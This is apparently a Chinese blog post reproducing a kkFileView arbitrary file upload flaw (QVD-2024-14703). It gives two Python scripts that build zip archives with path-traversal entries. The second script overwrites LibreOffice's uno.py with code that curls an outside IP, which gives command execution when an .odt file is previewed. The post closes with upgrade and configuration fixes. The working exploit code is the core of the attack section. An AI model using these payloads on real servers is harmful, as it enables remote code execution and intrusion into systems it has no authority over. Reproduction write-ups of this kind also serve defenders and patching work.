【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)
【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)
紫色皓月 皓月的笔记本 2024-05-04 20:00
声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本公众号无关。
0X01
简介
kkFileView为文件文档在线预览解决方案,该项目使用流行的spring boot搭建,易上手和部署,基本支持主流办公文档的在线预览,如doc,docx,xls,xlsx,ppt,pptx,pdf,txt,zip,rar,图片,视频,音频等等
文章参考:
漏洞编号:
QVD-2024-14703
影响范围:
4.2.0 <= kkFileView <= 4.4.0-beta
复现环境:
kkFileView 4.3.0
0X02
漏洞复现
import zipfile
if __name__ == "__main__":
try:
binary1 = b'test'
binary2 = b'test'
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)
zipFile.close()
except IOError as e:
raise e
执行py生成压缩包,将压缩包上传。
点击预览
文件写入成功
命令执行
注:在linux系统复现成功
import zipfile
if __name__ == "__main__":
try:
binary1 = b'test'
binary2 = b'import os\r\nos.system(\'curl http://192.168.20.131:9999/123123\')'
zipFile = zipfile.ZipFile("test2.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test2.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
注:uno.py路径需结合目标服务器的路径更改。
再上传一个.odt后缀的文件
点击预览执行命令
在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以在该py文件添加内容。
0X03 修复建议
升级至安全版本及其以上!
临
时
解决方案:
开启
file.upload.disable=true
参数,禁用首页的上传文件,关闭演示入口
0X04 写在最后
回复“加群”,获取群号。
侵删!